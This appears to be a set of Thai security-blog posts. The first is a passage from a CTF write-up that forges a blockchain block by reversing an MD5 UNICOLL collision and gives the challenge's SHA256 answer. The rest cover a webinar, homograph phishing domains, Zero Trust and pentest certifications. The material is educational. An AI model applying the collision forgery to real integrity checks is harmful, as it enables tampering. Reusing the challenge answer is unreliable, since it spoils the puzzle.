ทำการ Dump Object ที่อยู่ภายใน Blockchain.dat โดยใช้ method dump\_doc() โดยทำการ Dump object ใน index ที่ 1 ของแต่ละ Block ออกมาทั้งหมด

จากผลลัพธ์จะพบว่ามีแต่ละ Block จะมี PDF file ออกมายกเว้น Block index ที่ 129549 (Array index คือ 1010) ซึ่ง Object ที่ได้ออกมาจาก Block นี้คือ file ชื่อ 129549.bin
ตรงนี้ทำให้รู้สึกว่า Block นี้มีบางอย่างแปลก ๆ จึงทำการดูรายละเอียดอื่น ๆ ใน block นี้เพิ่มเติม จากการทำการ Print ข้อมูลใน Block นี้ก็พบสิ่งที่แปลก

สิ่งที่แปลกคือ Document Count: 2 ซึ่งแสดงว่าใน Block นี้มี document อื่นอีก และ ค่า Score ที่เป็นค่า 0xffffffff ซึ่งเกินกว่า score :br
ทั่วไป ถ้าเทียบกับข้อมูลใน Block อื่น นอกจากนี้คือ Sign หรือ flag ที่ใช้ในการระบุว่าเป็น Nice (1) หรือ Naughty (0)
ทำการ Dump Object เพิ่มจากข้อมูลใน Block นี้ และทำการ extract ข้อมูลของ Block 129549 ออกมาโดยตั้งชื่อว่า 1010.dat

ทำการ verify ว่าใช่ Block นี้หรือไม่ที่เป็น Block ที่ถูกเปลี่ยนแปลงโดย Jack ตามข้อมูลที่โจทย์ให้มา ซึ่งผลลัพธ์คือ Block 129549 นี่แหละที่เป็นปัญหา

จากการเปิดดูค่า hex เทียบกับข้อมูลใน Block เราพอจะคาดเดาได้ว่าตำแหน่งไหนคือตำแหน่งที่ใช้ระบุ Flag Naughty/Nice ซึ่งในโจทย์นี้เราต้องเปลี่ยนจากเลข 31 เป็น 30 (นี่คือ 1 ใน 4 bytes ที่เราต้องเปลี่ยนตามคำถามของโจทย์ข้อนี้)

ถัดมาในไฟล์ 129549.pdf เมื่อเราเปิดไฟล์เราจะพบว่าไฟล์นี้มีการเขียนชม Jack Frost มากมาย

ในโครงสร้างของไฟล์ PDF จะมีลักษณะคล้าย ๆ index คือมี pointer ชี้ว่าจะไปหน้าไหนต่อไป ซึ่งในโจทย์ข้อนี้หลังจากลองไล่ค่า Hex ใน file PDF แล้วพบว่าถ้าลองเปลี่ยน Index จาก 2 เป็น 3 จะพบว่าไฟล์ PDF นี้แสดงผลเป็นเนื้อหาที่ Complain Jack

ซึ่งในโจทย์นี้เราต้องเปลี่ยนจากเลข 32 เป็น 33 (นี่คืออีก 1 ใน 4 bytes ที่เราต้องเปลี่ยนตามคำถามของโจทย์ข้อนี้)

ถัดไปเป็นเรื่องที่เป็นปัญหาหลักของโจทย์นี้นั่นคือเทคนิคการปลอมแปลงค่าใน Blockchain คุณสมบัติของ Blockchain นั้นคือจะไม่มีใครสามารถเปลี่ยนแปลงค่าใน Block ได้ แต่ในโจทย์นี้ Jack สามารถทำได้ โดยวิธีการที่ Jack ใช้นั้นคือการทำ Hash Colission ซึ่งในโจทย์นี้ใช้ MD5 ในการทำ Hash ซึ่งถือว่าไม่ปลอดภัยในปัจจุบันแล้ว
โดยเทคนิคที่ใช้ในโจทย์นี้คือ UNICOLL (อ่านเพิ่มเติมได้ที่ {rel=""nofollow""}) สรุปสั้น ๆ คือ ให้ increase value (+1) ของ Byte ลำดับที่ 10 ใน Prefix Block และ decrease value (-1) ของ Byte ลำดับที่ 10 ใน Block ถัดมา ถ้าทำได้ถูกต้อง MD5 value จะไม่เปลี่ยนแปลง นั่นคือเกิด colission นั่นเอง
ในโจทย์นี้ Jack ได้ทำการแก้ไขค่าใน Block โดยใช้ UNICOLL ดังนั้นสิ่งที่เราจะทำก็คือการ Reverse process ของการทำ UNICOLL เพื่อให้ Block นั้นกลับไปเป็นค่าเดิม
โดยถ้าเริ่มต้นที่ตำแหน่งของ Naughty/Nice flag เดิมเป็นค่า 0x31 เราต้องแก้เป็นค่า 0x30 คือค่าถูก decrease ลงมา (-1) ซึ่งถ้าเทียบกับการทำ UNICOLL นั้น Block นี้จะหมายถึง Prefix block ดังนั้น Block ถัดไป ที่ Byte ลำดับที่ 10 จะต้องทำการ increase value (+1) (เพราะเรากำลังจะ reverse UNICOLL process) แต่ตอนนี้ปัญหาของเราคือเราไม่รู้ว่าจำนวน Block size คือเท่าไร
วิธีการประเมิน Block size ที่จุดนี้คือนับเอาว่า ที่ Prefix block นี้เริ่มต้นที่จุดไหน นั่นคือนับไปก่อนหน้านั้น 9 bytes จากนั้นก็ assume ว่าข้อมูลก่อนหน้านั้นทั้งหมดคือ 1 Block ซึ่งในที่นี้ก็จะพบว่า 1 Block มีขนาด 64 bytes

พอเราทราบว่า 1 Block ขนาดเท่าไร แล้วก็ต้องหาว่า Block ที่ 3 เริ่มต้นที่ไหน แล้วหา Byte ที่ 10 ของ Block ที่ 3 เพื่อทำการแก้ไขค่า ซึ่งในที่นี้พบว่าเป็นค่า D6 เราก็ทำการแก้เป็นค่า D7 (นี่คือ 1 ใน 4 bytes ที่เราต้องเปลี่ยนตามคำถามของโจทย์ข้อนี้)

หลังจากทำเสร็จแล้วเราสามารถทดสอบได้โดยลองทำ MD5 กับค่าก่อนแก้และหลังแก้ จะพบว่า MD5 เป็นค่าเดิม
ถัดไปเราจะหา Byte สุดท้ายที่ต้องเปลี่ยน ซึ่งก็จะใช้วิธีการคล้าย ๆ กับด้านบนโดยเราต้องหา Byte ที่ต้องเปลี่ยนให้เจอ ซึ่งข้อมูลใน Block ที่ 5 นั้นคือจุดที่เราต้องเปลี่ยนค่าของ ไฟล์ PDF พอดี ดังนั้น Block ที่ 6 ที่ Byte ลำดับที่ 10 ต้องทำการ decrease ค่าลง นั่นคือแก้จาก 1C เป็น 1B และนี่ก็คือ Byte สุดท้ายที่เราต้องเปลี่ยนตามคำถามของโจทย์ข้อนี้

พอแก้ทุกอย่างเรียบร้อยแล้วก็ทำการตรวจสอบว่าการแก้ถูกต้องหรือไม่ ซึ่งหากถูกต้อง MD5 ต้องได้ค่าเดิมแต่ SHA256 ต้องเปลี่ยน

ซึ่งในโจทย์นี้เราต้องนำค่า SHA256 ของ Block ใหม่ไปกรอกแล้วก็จะผ่าน ซึ่งค่านั้นคือ fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb
> โดยสรุปแล้วโจทย์ข้อนี้ก็ค่อนข้างสนุก มีหลายหัวข้อให้เรียนรู้ทั้ง MT19937 PRNG, Blockchain, PDF file structure และการทำ Hash collision
# Incognito Mode EP1
ติดตามชม Video ย้อนหลังได้ที่ [https://www.facebook.com/incognitolab/videos/431353134612839 ](https://www.facebook.com/incognitolab/videos/431353134612839){rel=""nofollow""}:br
สำหรับใน EP 1 นี้ได้คุณพรสุข มาบรรยายในหัวข้อ Thailand's Cyber Security Outlook to 2021 ซึ่งประกอบด้วย
1. Rise of Multi-stage Ransomware
2. Attack on digital asset exchange and crypto traders
3. More cloud adoption for digitisation
4. Wake Up Call for Data Governance
5. Supply chain attack is going to be more prevalent
6. Prepare for a Crisis Communication
7. New approaches are coming
# Phishing Domain ภาษาไทย ดูอย่างไรว่าเป็นเว็บปลอม
อาจเป็นรูปภาพของ ข้อความพูดว่า "กรบงเาง โน บก.ปอท. เราไม่ทิ้งกัน !!! มาตรการเยียวยา 5,000 บาท (3 เดือน) แก่ลูกจ้างของสถานประทอบการ หรืผูด้ร้ลกระบขอกาแรบาจาไวรส COVID-19 อย่าคลิกลิงค์เว็บไซต์ที่ส่งต่อ ๆ กันมา อาจเป็นเว็บไซต์ตั้งชื่อคล้าย เลียนแบบ เพื่อ หลอกลวงข้อมูลส่วนตัว ข้อมูลบัญชีธนาคาร username password ขอรหัส OTP เราไม่ทิ้งกัน อันนี้ผิด เราไม่ทิ้งกัน อันนี้ผิด เราไม่ทอวังกัน อันนี้ผิด เราไม่ทิ้งทวัน หาก ใจร้อน รีบกดลิงค์ หรือพิมพ์สะกดผิด รีบกรอกข้อมูล คนร้ายกวาดเรียบหมดบัญชี ต้องตั้งสติ พิมพ์ด้วยตนเอง สะกดพยัญชนะ สระ วรรรณยุกต์ ให้ถูกต้อง พิมพ์ช้า ๆ ชัด ๆ ตรวจทานอีกรอบ ได้แน่ 5,000 บาท เตือนตัวเอง เตือนพ่อแม่พี่น้อง เตือนเพื่อน ฯลฯ ระวังไวรัสแล้วระวังมิจฉาชีพด้วย #TCSD #เราไม่ทิ้งกัน #เว็บปลอม #มาตรการเยียวยา5000บาท
นอกจากกรณีที่ ปอท. ว่าแล้ว ยังมีอีกกรณีนึงที่การใช้งาน domain ภาษาไทยมีความเสี่ยงคือ การพิมพ์วรรณยุกต์ก่อนและหลังนั้น มีความหมายสำหรับ computer ไม่เหมือนกัน (ถึงตาเราจะเห็นคล้าย ๆ กันก็เถอะ) เช่น
www\[.]เราไม่ท้ิงกัน\[.]com (พิมพ์ไม้โทมาก่อนสระอิ) กับ www\[.]เราไม่ทิ้งกัน\[.]com (พิมพ์สระอิก่อนไม้โท)
โดยทั้งสองกรณีจะเป็นการเข้าไปคนละเว็บเลย อยากจะให้สังเกตกันให้ดี ๆ และค่อย ๆ พิมพ์ครับ (เบื้องต้นพบว่า www\[.]เราไม่ท้ิงกัน\[.]com ยังไม่มีการจด domain แต่หลังจากนี้อาจจะมีก็ได้)
โดยวิธีการโจมตีผู้ใช้แบบนี้ ทางศัพท์เทคนิคเรียกว่า Homograph Attack ครับ ซึ่งเป็นการใช้ตัวอักษร/สัญลักษณ์ ที่ตาคนดูแล้วมีลักษณะคล้ายกันหรือเหมือนกัน (แต่สำหรับ computer แล้วมันต่างกัน) ในการหลอกให้เหยื่อตายใจว่าเข้าเว็บไซต์ถูกเว็บไซต์แล้ว ทั้ง ๆ ที่จริงแล้วเป็นเว็บไซต์ของ hacker
ก็อยากให้ทุกคนตรวจสอบชื่อเว็บไซต์ให้ดี ก่อนที่จะใส่ข้อมูลที่สำคัญใด ๆ ลงไปในเว็บไซต์ครับ
เพิ่มเติม (28/03/20 22:37น.)
ถ้ากลัวว่าใช้ domain ภาษาไทยแล้วจะงง ๆ โดนหลอกหรือป่าว ตอนนี้มี workaround จากลูกเพจแจ้งมาว่าให้เข้าไปที่ " [https://www.mof.go.th](https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.mof.go.th%2F%3Ffbclid%3DIwAR3LOKF2z5YexCrKsL78K43GaGANLRMHot0vy4URu-HMLOgFZG37uFAYqZM&h=AT3fmL1nK3lgmu5-tpLzcLLw8GUYS2k4FOl38CL40q846C98iHvQSKBcQLz5nycST2UM3Bz6%5F4HPmnSBvKbPhX5owLuDjiLsslOvZXVyTg964nJ%5FvRA7GHPtuBQtDNUGeUxSRbyA&%5F%5Ftn%5F%5F=-UK-R&c%5B0%5D=AT3mLmHxiHIVqtW73RI%5FNbkNfT8xsZbbTQzCYFObEXCnfK4dwl52fyIDzyjLULPxOknavj%5F3lSARnfn2xiwa%5FLjHaX0ydwb3SZT9vkMlTknO6o1vlny6O1XR4zCchFhp2CzsTHVAoC1RVtpZ7zyn37fx9AmUOiURjAvy4xJajFSCVgo){rel=""nofollow""} " แล้วจากนั้นก็ click ที่ link ที่อยู่หน้าเว็บได้เลยครับ ไม่โดนหลอกแน่นอน ย้ำ " [https://www.mof.go.th](https://www.mof.go.th/?fbclid=IwAR3m6-4-ebO6stXDQQWC6u7kEItY-VgBR3nG0DW%5FBPXc54Zaw485ENdltP0){rel=""nofollow""} " นะครับ .net, .in, .th, .com หรืออะไรก็แล้วแต่ ไม่เกี่ยวนะ ต้องเป็น ".go.th" เท่านั้น
Ref
- Post ปอท.: [https://web.facebook.com/jahooktcsd/posts/3073708149347138](https://www.facebook.com/jahooktcsd/posts/3073708149347138?%5F%5Fcft%5F%5F%5B0%5D=AZVot-HZKL0kstWkM50YD8pVVkgDLQbH%5F7TH9Z3mHB%5F8qHVUM4zPAh8uZD3D7QrCqeiuormT%5FRA3N0JbNNroeNG9Id6wE0RzB32mCiZV1kZI7vkKSOqp93ZG0jN-Xcaxhb7ZCmkpPbVVwj6t8wyDLZV8&%5F%5Ftn%5F%5F=-UK-R){rel=""nofollow""}
- รายชื่อเว็บปลอมจากมติชน: [https://www.matichon.co.th/news-monitor/news\_2098492](https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.matichon.co.th%2Fnews-monitor%2Fnews%5F2098492%3Ffbclid%3DIwAR0L8qtluespUNHnu4BzOgknh7Z4eexD8-A6rD62WpSSF-E7rEttAhHa0dI&h=AT3qqdMbrKW619SmK4me5adxyEno5sPqcJmIE4GBG1C5TsnZa6rboN5vVgr7SgOAPJsi1Z817IZxUmffMO5YFckVujltG%5FgxNhPZHot7lIzKt8aDJd9gAT0Fsx1i2IpQ2%5FULOPWc&%5F%5Ftn%5F%5F=-UK-R&c%5B0%5D=AT3mLmHxiHIVqtW73RI%5FNbkNfT8xsZbbTQzCYFObEXCnfK4dwl52fyIDzyjLULPxOknavj%5F3lSARnfn2xiwa%5FLjHaX0ydwb3SZT9vkMlTknO6o1vlny6O1XR4zCchFhp2CzsTHVAoC1RVtpZ7zyn37fx9AmUOiURjAvy4xJajFSCVgo){rel=""nofollow""}
- Homograph Attack: [https://en.wikipedia.org/wiki/IDN\_homograph\_attack](https://en.wikipedia.org/wiki/IDN%5Fhomograph%5Fattack?fbclid=IwAR07uz3tn-f4HnHWeHKbERV5eq4ywNu5LuD57D4PreR2GLOkzJ5tPMOcPSg){rel=""nofollow""}
สำหรับการแก้ไขปัญหาความสับสนของภาษาไทยในชื่อ domain ในระยะยาวนั้นทาง W3C (World Wide Web Consortium) ก็มีการ open issue บน github ให้ทุกคนได้ออกความเห็น เพื่อหาวิธีการลดความสับสนลง โดยสามารถไปออกความเห็นกันได้ที่ link นี้นะครับ [https://github.com/w3c/sealreq/issues/18](https://github.com/w3c/sealreq/issues/18?fbclid=IwAR0aBnary0-w6k4ZQB8XZzHxJKhVKAjtpG-3bIL1k7e%5Fc1MoGbj2b8Qw53o){rel=""nofollow""}
[#เราไม่ทิ้งกัน](https://www.facebook.com/hashtag/%E0%B9%80%E0%B8%A3%E0%B8%B2%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%97%E0%B8%B4%E0%B9%89%E0%B8%87%E0%B8%81%E0%B8%B1%E0%B8%99?%5F%5Feep%5F%5F=6&%5F%5Fcft%5F%5F%5B0%5D=AZVot-HZKL0kstWkM50YD8pVVkgDLQbH%5F7TH9Z3mHB%5F8qHVUM4zPAh8uZD3D7QrCqeiuormT%5FRA3N0JbNNroeNG9Id6wE0RzB32mCiZV1kZI7vkKSOqp93ZG0jN-Xcaxhb7ZCmkpPbVVwj6t8wyDLZV8&%5F%5Ftn%5F%5F=%2ANK-R){rel=""nofollow""} [#COVID19](https://www.facebook.com/hashtag/covid19?%5F%5Feep%5F%5F=6&%5F%5Fcft%5F%5F%5B0%5D=AZVot-HZKL0kstWkM50YD8pVVkgDLQbH%5F7TH9Z3mHB%5F8qHVUM4zPAh8uZD3D7QrCqeiuormT%5FRA3N0JbNNroeNG9Id6wE0RzB32mCiZV1kZI7vkKSOqp93ZG0jN-Xcaxhb7ZCmkpPbVVwj6t8wyDLZV8&%5F%5Ftn%5F%5F=%2ANK-R){rel=""nofollow""}
# Zero Trust คืออะไร และควรเริ่มจากมาตรฐานไหน
เคยสงสัยมั้ยครับว่า Standard อะไรหรือ Framework อะไรที่ควรทำ หรือควร comply ดี ทำแล้วเหนื่อยน้อย ทำแล้วมั่นคงปลอดภัย จากการสังเกตมักจะมีเหตุผลประมาณ
1. จำเป็นต้องทำเพราะต้องทำตามมาตรฐาน
2. ทำเพราะว่าเกิด audit issues คือมี auditor มาตรวจแล้วเป็นประเด็น
3. โดน attacker เล่นงาน จึงอยากปรับปรุง
4. ทำตามมาตรฐานแล้วส่งผลต่อยอดกับ core business ของบริษัท หรือผู้บริหารสั่งมา
สังเกตมั้ยครับที่อยากทำเพราะเหตุผลส่วนใหญ่เป็นแนว fear factor (ประหวั่นพรั่นพรึง จึงอยากปรับปรุง) ลองพิจารณาพวก Standard หรือ Framework ที่แต่ละองค์กรพยายามทำกันก็มีหลากหลายไม่ว่าจะเป็น ISO27001, NIST CSF, Cyber Resilience Assessment Framework, CIS Controls, 3LoD หรือรวมไปถึง Standard ของ Industry Sector นั้น ๆ (ยังมีอีกเยอะ)
วันนี้เลยมานำแนะนำอีก Model ให้ผู้อ่านทุกคนได้รู้จักคือ Zero Trust Model ที่มี concept ง่าย ๆ คือให้คิดอยู่เสมอว่า ทุก ๆ จุดมีความเป็นไปได้ที่จะถูกโจมตีทั้งหมด ไม่ว่าจะเป็น internal zone หรือ secure zone ก็ตามหรือแม้แต่เครื่อง server ใน DC ขององค์กร จงคิดอยู่เสมอว่า traffic ที่วิ่งเข้ามาหา asset ของเรามาจากจุดที่มีโอกาสถูกโจมตีเสมอ (assume breach) เมื่อเราพิจารณาดังนั้นแล้ว concept ของ Zero Trust Model = "never trust, always verify" สามารถอ่านเพิ่มเติมได้จาก Zero Trust Deployment Center ที่ทาง Microsoft จัดเตรียมข้อมูลให้ได้ลองนำ model ดังกล่าวไปใช้ได้ที่ [https://docs.microsoft.com/en-us/security/zero-trust/](https://docs.microsoft.com/en-us/security/zero-trust/?fbclid=IwAR0Trp-dkAj5KV2bAEhgq3ZCean-QBwej5s0KxWU1aedw00RPWOKQgsatVU){rel=""nofollow""}
ลองตอบคำถามตัวเองหรือตอบคำถามองค์กรของผู้อ่านทุกท่านกันดูนะครับว่า เราต้องการทำให้ Security ในภาพรวมขององค์กรดีขึ้นด้วยเหตุผลอะไร แล้วจะได้เลือก Standard, Guideline หรือ Framework ได้ถูกต้องครับว่าอยากจะเดินไปในทิศทางไหน แต่ถ้ายังไม่รู้จะเลือกอะไรดี ก็ขอให้เลือกบริการจาก Incognito Lab กันก่อนนะครับ

> Security(Happiness) is a journey not a destination.
# Comparing Pentest Certificates
บทความนี้ขอพูดถึง Certificate ยอดนิยมที่เกี่ยวข้องกับการทดสอบเจาะระบบ (Pentest) เพื่อ
- ให้คนที่สนใจจะเรียนมีข้อมูลเพิ่มขึ้นเพื่อใช้ในการตัดสินใจ
- สำหรับ HR ที่กำลังต้องการหาคนด้านนี้อยู่ก็คงจะมีประโยชน์เพิ่มมากขึ้นไม่ใช่หาแต่ CEH
- หน่วยงานหรือองค์กรต่าง ๆ ที่ขาดความเข้าใจในเรื่องของ Certificate เข้าใจว่า Certificate ด้าน Pentest เหมือนกันเอามาทดแทนกันได้ แต่ Certificate บางอันนั้นไม่ควรเอามาเปรียบเทียบกัน เพราะ level มันต่างชั้นกันมากครับ
เราจะพูดถึง 4 Certificates จาก 4 สถาบัน
1. GIAC GPEN จาก SANS
2. eCPPT จาก eLearnSecurity
3. OSCP จาก Offensive-Security
4. CEH จาก EC-Council
ทั้ง 4 Certificate นี้มีข้อดีข้อเสียแตกต่างกันไป โดยจะเปรียบเทียบตามตารางด้านล่าง
## Comparing Pentest Certificates
| Certificate | GPEN | eCPPT | OSCP | CEH |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| รูปแบบการสอน | มีการสอน 3 รูปแบบให้เลือก ได้แก่1.Live training (สอน 5 วัน, วันที่ 6 เป็น CTF)2.Live training แบบ Online (Simulcast)3.Online training (มีเวลาให้ 4 เดือน) | Online Training | Online Training | Live Training |
| ระยะเวลาในการเรียน | 6 วันรวม CTF | เรียนด้วยตนเองไปเรื่อย ๆ แต่จะมีระยะเวลาที่จำกัดของ Labถ้าต้องการต่อเวลาการใช้ Lab สามารถซื้อเพิ่มได้ | เรียนด้วยตนเองไปเรื่อย ๆ แต่จะมีระยะเวลาที่จำกัดของ Labถ้าต้องการต่อเวลาการใช้ Lab สามารถซื้อเพิ่มได้ | 5 วัน |
| Material ที่ได้รับ | 1.แจกเอกสารในรูปแบบ Hardcopy โดยแต่ละหน้าจะเป็น Slide ที่ใช้สอน พร้อมคำบรรยายแบบละเอียด2.Image สำหรับทำ Lab3.MP3 file ที่เป็นเสียงตอนสอน | 1.PDF file แยกตามบทเป็น Slide ไม่มีคำบรรยายใต้ภาพ2.Video training3.Online lab | 1.PDF file ลักษณะเหมือนเอกสาร Word มีการอธิบายถึงเรื่องต่าง ๆ และ Lab2.Video training3.Customized image ของ Kali ให้เหมาะสำหรับหลักสูตรมากขึ้น4.Online lab | เอกสาร Hardcopy เป็น Slide ที่ใช้ในการสอน สีสันสวยงาม เนื้อหาเป็นการอธิบายเทคนิคพื้นฐานต่าง ๆ ประกอบกับการสอนใช้โปรแกรม |
| หัวข้อในการสอน | เน้นเรื่อง Network Pentest เป็นหลัก (ซึ่งเป็นปกติของ SANS ที่จะแยกแต่ละ Area ออกเป็นแต่ละวิชา ถ้าสนใจ Web App Pentest ก็จะมีอีกหลักสูตรเป็นต้น) มีหัวข้ออื่น ๆ ที่เป็นพื้นฐานในอาชีพ pentester เช่น การลดความเสี่ยงในการทดสอบ, การเขียน report เป็นต้น | เน้นเรื่องพื้นฐานทั่วไปใกล้เคียงกันทั้งในเรื่องของ Network, Web application, System รวมถึงวิธีการเขียน pentest report | มีสอนทั้ง Network, Web application, System โดยส่วนตัวคิดว่าเน้นไปที่ System และ Network มากกว่า Web | หัวข้อกว้างมาก มีทุกเรื่อง |
| คุณภาพ และ คนสอน | Ed Skoudis ชื่อนี้ดังมากในวงการ Pentest เขียนหนังสือ Counter hack reloadedเนื้อหาในหลักสูตรของ SANS แบ่ง Structure เนื้อหาชัดเจน สอนพื้นฐานและการประยุกต์นำไปใช้ได้ดีมาก รวมถึงมีการ Share เทคนิคต่าง ๆ จากประสบการณ์จริง | Armando Romeo เนื้อหาแบ่งเป็นบทชัดเจน คุณภาพดี สอนพื้นฐานและการประยุกต์นำไปใช้ได้ดีLab ที่ใช้เป็น dedicated lab สำหรับ account เราเท่านั้น | คุณภาพขึ้นอยู่กับตัวของผู้เรียนเป็นหลัก ซึ่งเอกสารที่ได้รับแจกมานั้นออกแบบให้เป็นลักษณะเรียนด้วยตนเอง ทดลองด้วยตนเองเป็นหลัก บางหัวข้อไม่ได้อธิบายรายละเอียดมากนัก เน้นให้ผุ้เรียนไปหาอ่านต่อยอดเอาเองถ้าเป็นคนที่ขยันอ่านหาความรู้เพิ่มเติมเองได้จะได้รับความรู้เพิ่มเยอะLab ที่ใช้เรียนจะเป็น Share environment | เนื้อหาในการสอนเป็น Material มาตรฐานจาก EC-Councilคุณภาพในการสอนขึ้นกับคนสอนแล้วแต่สถาบัน/บริษัทที่เปิด courseStep ของการทำ Lab เป็นการสอนใช้โปรแกรมสำเร็จรูปที่มีมาให้ มีขั้นตอนชัดเจนภาพรวมของคุณภาพของคอร์สขึ้นอยู่กับคนสอนเป็นหลัก แนะนำว่าถ้าจะเรียนควรจะต้องตรวจสอบ Profile ของคนสอนก่อน |
| การสอบ | สอบข้อสอบ Choice 115 ข้อ คะแนนผ่านที่ 74% ให้เวลา 3 ชั่วโมง สอบผ่านแล้วจะได้เป็น Silver level ถ้าอยากได้ Gold level จะต้องเขียน paper เพิ่มเติม | สอบ Lab Online โดยให้เวลา 7 วันและทำการส่ง pentest report โดยมีแยกเป็น Silver level และ Gold level ซึ่ง Scenario ในการทดสอบไม่เหมือนกัน การโจมตีเครื่องต่าง ๆ อาจจะต้องใช้การทำ Pivoting บ้าง | สอบ Lab Online โดยให้เวลาทำ Lab 23 ชั่วโมง 45 นาที จากนั้นให้เวลาต่ออีก 1 วันในการส่ง Report ซึ่งทาง Offsec มี Template report มาให้Lab นั้นเป็นลักษณะ CTF ให้โจทย์มา 5 ข้อแต่ละข้อมีคะแนนแตกต่างกัน คะแนนผ่านอยู่ที่ 70 คะแนนจาก 100 โดยโจทย์แต่ละข้อไม่ได้เกี่ยวข้องกันเลย ถ้าส่ง Exercise กับ Lab จะมีคะแนนเพิ่มให้ด้วย | ข้อสอบเป็น Multiple choice ซึ่งมีเฉลยข้อสอบให้ Download ได้บน Internet |
| ราคา | ประมาณ 2 แสนบาท | ประมาณ 3-4 หมื่นบาท | ประมาณ 3-4 หมื่นบาท | ประมาณ 4-5 หมื่นบาท |
| ส่วนลดพิเศษ | SANS บางช่วงจะแจก special discount code ให้ราว ๆ 500-1000 USD | มักจะมี discount code พิเศษให้คนที่เคยสมัครเรียนบางครั้งแจก voucher course free ให้ | ไม่ทราบ | ถ้าเป็นนักเรียน นักศึกษา แนะนำให้หาบริษัทที่เป็น Academic partner กับ EC-Council ราคาจะลดไปประมาณ 50% โดยส่วนที่แตกต่างกันคือจะไม่ได้รับ Hardcopy แต่จะได้ Softfile แทน |
| ความนิยม | High-end เป็นที่รู้จักดีในวงการ Security คนทั่ว ๆ ไป HR อาจจะไม่รู้จัก เพราะว่าราคาสูง และไม่เน้นแข่งราคา | ตลาดในไทยไม่ค่อยรู้จักมากนัก | ได้รับความนิยมสำหรับคนที่อยู่ในวงการ | น่าจะเป็นที่รู้จักของคนทั่วไปมากที่สุด เนื่องด้วยชื่อ Certificate และ ราคาที่เอื้อมถึง ในวงการ Security ไม่ได้นิยมนัก แต่พบได้เยอะเพราะว่ามีความร่วมมือระหว่าง EC-Council กับ สถาบันการศึกษา เนื่องจากมีส่วนลดพิเศษ |
| การต่ออายุ Certificate | หมดอายุทุก 4 ปี จะต่ออายุต้องสอบใหม่หรือเก็บ CPE ค่าต่อประมาณ 399 USD ต่อ 4 ปี | ไม่ต้องต่ออายุ | ไม่ต้องต่ออายุ | 3 ปี |
| Benefits | แข่ง CTF ในวันที่ 6 ชนะจะได้ Coin (Coin ด้านหลังจะมีข้อความซ่อนอยู่ ถ้าเก็บ Coin ครบจะพบกับความลับบางอย่าง ยังกะเล่น Quest เกม)ถ้าสอบผ่านเกิน 90% มีสิทธิ์เข้า SANS Advisory Board ลักษณะเป็น Mailing list มีผู้เชี่ยวชาญ Security ส่งข้อมูลหากันทุกวันCertificate หมดอายุทุก 4 ปี โดยการต่ออายุนั้นก็จะได้ Material ชุดใหม่ที่ update แล้ว | ถ้ามี version ใหม่ออกมา นักเรียนเก่าจะมีส่วนลดพิเศษ | ถ้ามี version ใหม่ออกมา นักเรียนเก่าจะจ่ายส่วนต่างของราคา (แต่เท่าที่เห็นมานั้น material ไม่ค่อยมีการ update) | ไม่มี |
## สรุป
- SANS สอนดีมาก ๆ Certificate เป็นที่ยอมรับในระดับโลก แน่นอนว่าของดีราคาต้องสูง
- eLearnSecurity สอนดีเช่นกัน Lab ที่ให้ใช้ก็เป็น Dedicated สอนใน Topic ที่สำคัญ ๆ ได้ดี แต่ Certificate อาจเป็นที่รู้จักในไทยมากนัก ราคาสมเหตุสมผล
- Offensive Security เนื้อหาออกแบบมาให้อ่านเอง ทำความเข้าใจ ศึกษาเพิ่มเติมเองเป็นหลัก ถ้าไม่สามารถศึกษาเพิ่มเติมเองได้ หรือไม่มีคนคอยชี้แนะ อย่าเลือกจะดีกว่า Lab ที่ให้ใช้เป็นแบบ Share กัน การสอบท้าทาย ทำให้คนส่วนใหญ่คิดว่ายาก ราคาพอประมาณ
- EC-Council ชื่อเสียงดีเป็นที่รู้จัก แต่ความรู้ที่ได้รับขึ้นอยู่กับผู้สอนล้วน ๆ ที่เป็นที่รู้จักอาจเพราะหลักสูตรอื่น ๆ นั้นสอนเป็นภาษาอังกฤษทั้งหมด ทำให้คนไทยเลี่ยงมา Cert นี้เป็นหลัก ราคาถือว่าแพงถ้าไม่ได้ส่วนลดนักศึกษา
- ถ้าไม่มีพื้นฐาน Security ภาษาอังกฤษไม่แข็งแรง มีงบจำกัด -> CEH
- ถ้าไม่มีพื้นฐาน Security ภาษาอังกฤษพอใช้ได้ มีงบจำกัด -> eCPPT (คุณภาพดี)
- ถ้ามีพื้นฐาน Security ภาษาอังกฤษพอใช้ได้ คำเตือน "ศึกษาหาความรู้เพิ่มเติมเองได้" มีงบจำกัด -> OSCP (คุณภาพขึ้นอยู่กับคนเรียนเป็นหลัก)
- ถ้าตั้งใจจะลุยในสาย Security อย่างจริงจัง ภาษาอังกฤษดี มีงบ -> GPEN (คุณภาพดีมาก)
- ถ้าคุณเป็น HR ควรเลียงลำดับความสำคัญตามนี้ GPEN -> eCPPT หรือ OSCP -> CEH
## เพิ่มเติม
จากประสบการณ์ที่เคยได้สัมผัสมาทุกรูปแบบคิดว่า
- GPEN ดีที่สุดเพราะ Structure ในการสอนของ SANS นั้นถูกออกแบบมาอย่างดี เนื้อหาดี เรียกได้ว่ารวมเอาความรู้มารวมไว้ในคอร์สได้ดีมาก ถ้าหาอ่านสะเปะสะปะเอาเองอาจใช้เวลาหลายเดือนหรือเป็นปี
- eCPPT ดีในเรื่องของ Structure ของคอร์สที่ออกแบบมา รวมถึงราคาที่สามารถเข้าถึงได้ \[แนะนำสำหรับผู้เริ่มต้น]
- OSCP คนเรียนต้องสามารถเรียนรู้ได้ด้วยตัวเองถึงจะได้ประโยชน์จากหลักสูตรอย่างเต็มที่ มีการสอนเทคนิค หรือ ทริคต่าง ๆ พอสมควร แต่บางหัวข้ออาจจะใช้ได้เฉพาะบางสถานการณ์มากเกินไป
- CEH ส่วนใหญ่จะสอนใช้ Tool เป็นหลัก พื้นฐานอาจจะได้ไม่มากนัก ขึ้นอยู่กับว่าใครเป็นคนสอน
---
**หวังว่าบทความนี้จะเป็นประโยชน์ต่อทุกคนนะครับ ?**
# CANS Communication ISO27001
